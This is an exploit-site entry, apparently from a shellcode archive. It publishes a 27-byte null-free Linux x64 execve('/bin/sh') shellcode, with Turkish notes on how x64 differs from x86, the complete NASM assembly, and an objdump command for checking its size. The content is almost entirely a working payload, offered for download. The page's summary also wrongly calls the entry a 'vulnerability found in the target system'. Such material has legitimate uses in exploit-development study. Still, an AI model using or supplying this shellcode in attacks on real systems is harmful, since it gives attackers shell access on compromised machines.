VULN REPORT
/
shellcode
/
ID: 250
Linux/x64 execve(/bin/sh) Shellcode - 27 Bytes (Null-Free, Modern)
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 32 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_250.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">
<div class="border-l-4 border-emerald-500 pl-5 py-3 bg-emerald-50/60 rounded-r-xl">
<p class="text-xs font-bold uppercase tracking-widest text-emerald-700 mb-1">Modern Shellcode - Linux x64 - 27 Bytes</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 execve(/bin/sh) - 27 Bytes (Null-Free)</h2>
<p class="text-sm text-slate-600 mt-2">64-bit mimaride shellcode yazmak x86'dan farklidir. Register'lar 64-bit genisligine cikmistir. Sistem cagrisi icin int 0x80 yerine syscall talimatı kullanilir.</p>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 vs x86 Farklari</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
x86 → x64
eax → rax (64-bit)
ebx → rdi (1. arg - System V AMD64 ABI)
ecx → rsi (2. arg)
int 0x80 → syscall
execve = 59 (x64) | 11 (x86)
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 Assembly</h3>
<div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
section .text
global _start
_start:
xor rdi, rdi
mul rdi ; rax=0, rdx=0
push rax
mov rcx, 0x68732f6e69622f2f ; //bin/sh
push rcx
mov rdi, rsp ; rdi = /bin//sh
push rax
push rdi
mov rsi, rsp
mov al, 59 ; execve = 59
syscall
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Boyut Dogrulama</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
objdump -d shell64 | grep -Po '\x..' | tr -d '\n' | wc -c
# Cikti: 27
</div>
</div>
</div>
Entry Stats
Views
32
Downloads
5
Comments
0